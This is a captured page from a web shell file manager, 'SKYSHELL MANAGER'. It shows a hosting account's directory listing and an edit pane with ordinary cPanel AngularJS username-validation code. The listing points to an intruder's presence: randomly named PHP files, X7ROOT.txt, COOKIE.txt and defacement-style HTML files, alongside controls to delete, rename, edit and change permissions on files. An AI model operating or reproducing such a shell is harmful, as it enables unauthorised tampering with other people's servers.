📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: validateUsernameWithDomain.js
/* # base/frontend/jupiter/user_manager/directives/validateUsernameWithDomain.js # Copyright(c) 2020 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited */ define( [ "angular", "cjt/util/locale", "cjt/validator/validator-utils", "cjt/validator/validateDirectiveFactory", "app/services/userService", ], function(angular, LOCALE, validatorUtils, validatorFactory, userService) { "use strict"; var module = angular.module("App"); /** * This set of directives is intended to help with the problem of length * validation for username@domain entry across two fields. In the product we * often have one field for username and another for the domain selection. As * of 11.54, we are imposing character limitations for the combined result of * these two fields, including the @ character. This directive automates that * validation. * * @example * * <form username-with-domain-wrapper> * <input name="username" ng-model="username" username-with-domain="username"> * <input name="domain" ng-model="domain" username-with-domain="domain"> * <ul validation-container field-name="username"></ul> * </form> * * Note: Both the wrapper and child directives are restricted to attributes. */ /** * The wrapper directive just serves as a communication point between the two * child directives. */ module.directive("usernameWithDomainWrapper", [function() { var ParentController = function($attrs) { this.username = this.domain = ""; this.$attrs = $attrs; }; angular.extend(ParentController.prototype, { setDomain: function(domain) { if (typeof domain !== "undefined") { this.domain = domain; } return this.getTotalLength(); }, setUsername: function(username) { if (typeof username !== "undefined") { this.username = username; } return this.getTotalLength(); }, getUsernameAndDomain: function() { return this.username + "@" + this.domain; }, getTotalLength: function() { return this.getUsernameAndDomain().length; }, }); return { restrict: "A", scope: false, controller: ["$attrs", ParentController], }; }]); /** * This directive will need two instances to function as intended, and they * should both be descendants of the wrapper directive. One should have the * attribute value of "username" and the other value should be "domain". */ module.directive("usernameWithDomain", ["userService", "$q", function(userService, $q) { return { restrict: "A", scope: false, require: ["^^usernameWithDomainWrapper", "ngModel"], link: function( scope, elem, attrs, ctrls ) { var parentCtrl = ctrls[0]; // The controller from the wrapper directive var ngModel = ctrls[1]; // The ngModel controller from the current element // Grab the type var type = attrs.usernameWithDomain; if (type === "username") { // Save a reference to the $validate function on the wrapper so that the partner "domain" // version of this directive can trigger validation for this "username" instance. parentCtrl.validateUsername = ngModel.$validate; // Set up the extended validation object the same way the validateDirectiveFactory does. var formCtrl = elem.controller("form"); validatorUtils.initializeExtendedReporting(ngModel, formCtrl); // This is the main validation function that checks the total length of the username@domain. var validateUsernameWithDoamin = function(totalLength) { var TOTAL_MAX_LENGTH = 254; var result = validatorUtils.initializeValidationResult(); if (totalLength > TOTAL_MAX_LENGTH) { result.addError("maxLength", LOCALE.maketext("The combined length of the username, [asis,@] character, and domain cannot exceed [numf,_1] characters.", TOTAL_MAX_LENGTH)); } return result; }; // Add the validator to the list. The validator goes through the validateDirectiveFactory // "run" method to hopefully help compatibility going forward. ngModel.$validators.usernameWithDomain = function(newUsername) { var totalLength = parentCtrl.setUsername(newUsername); return validatorFactory.run("usernameWithDomain", ngModel, formCtrl, validateUsernameWithDoamin, totalLength); }; var validateUsernameIsAvailableAsync = function(value) { return userService.checkAccountConflicts(value).then(function(responseData) { scope.$eval(parentCtrl.$attrs.lookupCallback, { responseData: responseData }); return responseData; }).then( function() { return validatorUtils.initializeValidationResult(); }, function(error) { var result = validatorUtils.initializeValidationResult(true); result.addError("usernameIsAvailable", error); return result; }); }; ngModel.$asyncValidators.usernameIsAvailable = function(modelValue, viewValue) { var value = parentCtrl.getUsernameAndDomain(); return validatorFactory.runAsync($q, "usernameIsAvailable", ngModel, formCtrl, validateUsernameIsAvailableAsync, value); }; } else if (type === "domain") { // Unfortunately the viewChangeListeners array doesn't get triggered when you first set // the model value (for whatever reason), so we'll need to set the domain to cover the // case when the user doesn't change the default. $formatters don't get called for select // controls when their value changes so this only fires on the initial render. ngModel.$formatters.push(function(val) { parentCtrl.setDomain( ngModel.$modelValue ); return val; }); // When the domain model changes, we need to run the length check again, but the username // is where people have the most flexibility to make changes, so we'll run the validation // there to create the validation error messages near that field. ngModel.$viewChangeListeners.push(function() { parentCtrl.setDomain( ngModel.$modelValue ); parentCtrl.validateUsername(); }); } else { throw new Error("The value for the username-with-domain directive needs to be set to 'username' or 'domain'."); } }, }; }]); } );
Save